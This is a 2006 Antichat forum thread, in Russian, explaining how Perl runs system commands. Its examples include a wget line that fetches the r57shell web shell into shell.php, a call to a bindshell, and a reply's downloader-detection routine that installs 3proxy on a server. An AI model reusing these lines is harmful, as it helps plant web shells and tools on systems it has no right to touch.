Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Выполнение системных комманд под перлом |

06.04.2006, 16:46
|
|
Участник форума
Регистрация: 17.12.2005
Сообщений: 121
Провел на форуме: 551495
Репутация:
227
|
|
Выполнение системных комманд под перлом
Выполнение системных комманд под перлом
1: Просто выполняем комманду но не получаем вывода: system("wget –O shell.php rst.void.ru/download/r57shell.txt "); 2: Передаем выполнение другой программе,
в этом случае исполнение текущей прерывается: exec("./bindshell"); 3: Выполняем комманду и сохраняем вывод в переменной:
Строка заключенная вот в такие кавычки ``( backticks) или
в qx#string#(##это просто разделители, их можно выбирать самому)
сначала интерпретируется (т.е. рассматривается значение переменных в этой строке ),
а потом передается системному интерпретатору на выполнение. Здесь 2 варианта:
а) если мы получим только одну строку chomp($date = qx#/usr/bin/date#); или
chomp($date = `/usr/bin/date`); б) если мы планируем получить многострочный вывод:chomp(@alllines = qx#/usr/bin/who#); или
chomp(@alllines = `/usr/bin/who`); chomp() служит для удаления переноса строки - \n.
4: open() и „Пайпинг“
Чтобы выполнить внешную комманду есть возможность использовать комманду open:
Перл открывает пайп вместо файла, если во втором параметре первый или последний
символ это |.
Обычно в инклудах пишут пайп последним, перед ним комманду,вывод которой
запишется в INFILE, т.е. используется нормальный способ работы в никсах
пример: "echo juh|" выдаст нам juh
Вот небольшой пример всех способов:
---------------------------------------
PHP код:
#!/cygdrive/c/Perl/bin/perl -w
use strict;
my @lines;
chomp(my $date = qx#date#);
print $date;
system("wget -O shell.php rst.void.ru/download/r57shell.txt ");
open (DET,"|echo 'juh' >> shell.php");
open (DET,"cat shell.php |");
@lines = <DET>;
foreach my $line (@lines) {
print $line;
}
close(DET);
exec("echo 'ZHu-Zhu'");
echo ("No No, suda ne popadajem");
------------------------------------------------
При написании пользовался
http://builder.com.com/5100-6372-1050920.html ( !точно по теме!)
http://www.well.ox.ac.uk/~johnb/comp/perl/intro.html
http://www.unix.org.ua/perl/op.htm
|
|
|

10.04.2006, 18:56
|
|
ветеран
Регистрация: 22.06.2004
Сообщений: 2,128
Провел на форуме: 5355463
Репутация:
2258
|
|
так-так неплохо...помоги а))
Нужно вот что
Сначала system("which wget fetch lynx curl") надо узнать какой из них есть в системе а потом как сделать чтоб скрипт принял ответ сервака и пользовался той качалкой какая есть в системе?
__________________
Моня тот еще зверюга,
Свиду тихий внутри - ****,
Без обид,реальный мэн,
Просто рифмы нет совсем.
С ним шутить *****то очень,
В ирце вместе с ним хохочем (c) m0Hze
|
|
|

10.04.2006, 19:37
|
|
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме: 4520553
Репутация:
1316
|
|
монстр, могу на php такое тебе дать, я уже делал подобное, можешь такой код стырить с моего переделанного шелла, там как раз это определяеться
|
|
|

11.04.2006, 00:40
|
|
Участник форума
Регистрация: 17.12.2005
Сообщений: 121
Провел на форуме: 551495
Репутация:
227
|
|
Я скрипт написал для установки 3proxy, оттуда:
PHP код:
my $downloader = checkDownloader();
if ($downloader=="wget") {$cmd="wget -O $proxyPath $proxyWebAddr";}
if ($downloader=="get") {$cmd="get -o $proxyPath $proxyWebAddr";}
if ($downloader=="fetch") {$cmd="fetch -o $proxyPath $proxyWebAddr";}
if ($downloader=="curl") {$cmd="curl --output $proxyPath $proxyWebAddr";}
if ($downloader=="links") {$cmd="links -source $proxyWebAddr > $proxyPath";}
if ($downloader=="lynx") {$cmd="lynx -source $proxyWebAddr > $proxyPath";}
`$cmd`;
sub checkDownloader() {
my @downloaders = ("wget","get","fetch","curl","links","lynx");
foreach my $testCmd (@downloaders) {
if (`which $testCmd`) {return $testCmd;}
}
die("No downloader found");
}
здесь $proxyPath - куда лить, а $proxyWebAddr - откуда...
Последний раз редактировалось DetMyl; 12.04.2006 в 01:09..
Причина: Ошибка
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|